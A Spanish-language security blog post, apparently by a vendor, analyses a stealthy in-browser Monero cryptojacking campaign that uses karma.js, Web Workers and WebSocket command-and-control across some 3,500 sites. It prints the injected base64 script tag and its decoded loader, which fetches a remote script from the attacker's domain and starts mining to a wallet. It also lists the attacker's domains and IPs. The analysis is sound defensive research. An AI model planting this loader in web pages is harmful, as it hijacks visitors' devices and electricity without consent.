Resumen: minero sigiloso con WebAssembly y workers vía WebSocket C2
- El sector enterró el cryptojacking cuando Coinhive cerró en 2019. Ese obituario vendió titulares de ransomware. Mientras tanto, los mismos grupos reconstruyeron el minero para limitar el uso de CPU, esconderse dentro de Web Workers y comunicarse con su mando y control por WebSockets.
- Los paneles de cside mostraban un descenso hasta que karma[.]js, desde yobox[.]store, se extendió por más de 3.500 sitios web infectados, conectando con wss://lokilokitwo[.]de:10006 y reutilizando el dominio trustisimportant[.]fun también para Magecart. Nuestro motor de detección marcó el archivo como malicioso a pesar de no haber picos de CPU evidentes en pruebas en entorno aislado.
- Si tu defensa asume que el cryptojacking terminó, abandona esa suposición hoy mismo. Añade inspección de scripts en tiempo de ejecución que vigile la creación de Web Workers y los patrones de C2 por WebSocket, o sigue pagando la factura de la luz de la cartera de Monero de un desconocido.
El auge y la caída (y el regreso) de la minería en el navegador

Corría el año 2017 cuando Coinhive irrumpió en escena, incrustando un minero de Monero directamente en sitios web. Los usuarios minaban criptomonedas sin saberlo mientras navegaban, convirtiendo sus dispositivos en silenciosas máquinas de generar beneficios para los propietarios de los sitios.
Por un breve momento, pareció una situación en la que todos ganaban: los sitios web obtenían ingresos sin anuncios y los usuarios evitaban los molestos pop-ups. Pero cuando la tasa de hash de Coinhive se disparó hasta el 12% de la potencia total de la red de Monero, la ralentización de los dispositivos y el agotamiento de la batería desataron la indignación pública.
En 2019, navegadores como Chrome y Firefox bloquearon el CryptoJacking en el navegador, y Coinhive cerró.
El cryptojacking, al parecer, había muerto.
Pero en ciberseguridad, la muerte rara vez es definitiva…
Una misteriosa caída (y un fallo en la matrix)
Aquí en cside llevábamos años rastreando campañas de cryptojacking. A finales de 2024, nuestros paneles mostraban un descenso pronunciado en la actividad. Las cargas maliciosas de minería se bloqueaban con mayor eficacia y los atacantes parecían haberse trasladado a pastos más verdes, como el ransomware o el robo de credenciales.
Entonces, un martes de rutina, nuestro rastreador marcó algo extraño: un archivo JavaScript de terceros cargado desde https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
La propia URL era una señal de alerta: un parámetro aleatorio, una consulta sin sentido nosaj=faster.mo. Pero lo que realmente disparó las alarmas fue el comportamiento del archivo:
![Captura del panel de cside marcando el archivo karma[.]js de yobox[.]store como malicioso pese a no mostrar picos de CPU visibles.](/content/images/2025/08/CryptoJacking-is-dead--long-live-CryptoJacking_2.png)
- Sin peticiones de red (a primera vista).
- Sin picos de CPU evidentes en pruebas en entorno aislado.
- Y aun así, nuestra IA lo marcó como malicioso.
Esto no era el cryptojacking ruidoso y devorador de recursos de 2018. Esto era… silencioso.
Inyección en el sitio web:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>
El Base64 se decodifica como:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun redirige al usuario a yobox[.]store, desde donde se descarga el JS malicioso.
Depurando el fantasma: un tutorial de JS 101
Cargamos el script en un entorno controlado para diseccionarlo. Así es como lo abordamos:
Paso 1: Construir un entorno de depuración seguro
Envolvimos el JS en una página HTML sencilla con una Política de Seguridad de Contenido (CSP) para permitir la depuración sin activar los bloqueos del navegador:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- El archivo malicioso -->
</body>
</html>
La directiva unsafe-eval era fundamental porque el script usaba una ofuscación similar a eval para ocultar su lógica.
Paso 2: Insertar trampas de depuración
Añadimos sentencias debugger; en puntos clave para pausar la ejecución en Chrome DevTools. Por ejemplo:
function _0x6BE7() { // A WebSocket setup function
debugger; // <-- Execution pauses here
if (ws != null) { ws.close(); }
// ... rest of code
}
Paso 3: Decodificar la ofuscación
El script era un laberinto de variables renombradas (p. ej., _0x6AC1, _0x6B23) y cadenas codificadas. Usando la pestaña Sources de DevTools:
- 1.Colocamos puntos de interrupción para recorrer la ejecución paso a paso.
- 2.Observamos las variables para mapear sus propósitos reales (p. ej., _0x6B85 comprobaba si el dispositivo era móvil).
- 3.Rastreamos la actividad de red a través de la pestaña Network, lo que reveló conexiones WebSocket a wss://lokilokitwo[.]de:10006.
El hallazgo clave: un minero silencioso
El script no minaba criptomonedas directamente. En su lugar:
- Comprobaba la compatibilidad con WebAssembly (para evaluar la potencia del dispositivo).
- Creaba Web Workers en segundo plano (array worcy) para ejecutar tareas de minería sin bloquear el hilo principal.
- Usaba WebSockets para recibir comandos del servidor C2, ajustando la intensidad de la minería según las capacidades del dispositivo.
Era un minero sigiloso, diseñado para evitar la detección manteniéndose por debajo del radar tanto de los usuarios como de las herramientas de seguridad.
El panorama general: más de 3.500 sitios infectados
Una investigación más profunda descubrió una campaña de gran alcance:
- Más de 3.500 sitios web cargaban el karma[.]js malicioso.
- Infraestructura reutilizada: el dominio trustisimportant[.]fun estaba vinculado tanto a campañas de cryptojacking como de Magecart (skimming de tarjetas de crédito). Los atacantes diversificaban sus cargas maliciosas.
- IPs clave: 89.58.14.251 y 104.21.80.1 actuaban como servidores de mando y control (C2).
¿El lema de la campaña? "Mantente bajo el radar, mina despacio." Al limitar el uso de CPU y ocultar el tráfico en flujos WebSocket, evitaba los indicios característicos del cryptojacking tradicional.
Ataques de CryptoJacking 101: ¿qué es el CryptoJacking y cómo funciona hoy?
El cryptojacking moderno ha evolucionado hacia un ataque silencioso y de múltiples etapas:
- Se inyectan en los sitios web archivos JS maliciosos, como karma[.]js.
- El script comprueba la compatibilidad con WebAssembly, el tipo de dispositivo (móvil frente a escritorio) y las características del navegador para optimizar la minería.
- Se crean Web Workers para ejecutar tareas de minería en segundo plano, evitando señales de alerta de rendimiento.
- Peticiones WebSocket o HTTPS obtienen tareas de minería y envían los resultados a los servidores C2.
El objetivo es drenar recursos de forma persistente a lo largo del tiempo, como un vampiro digital, no agotar los dispositivos al instante.
Conclusión: el juego del gato y el ratón continúa
El cryptojacking no ha muerto, simplemente se ha vuelto más inteligente. Los atacantes ahora priorizan el sigilo por encima del robo de recursos por la fuerza bruta, usando ofuscación, WebSockets y reutilización de infraestructura para permanecer ocultos.
Los ataques del lado del cliente son cada vez más difíciles de detectar con escaneos estáticos. La inspección de scripts en tiempo de ejecución es lo que los atrapa.









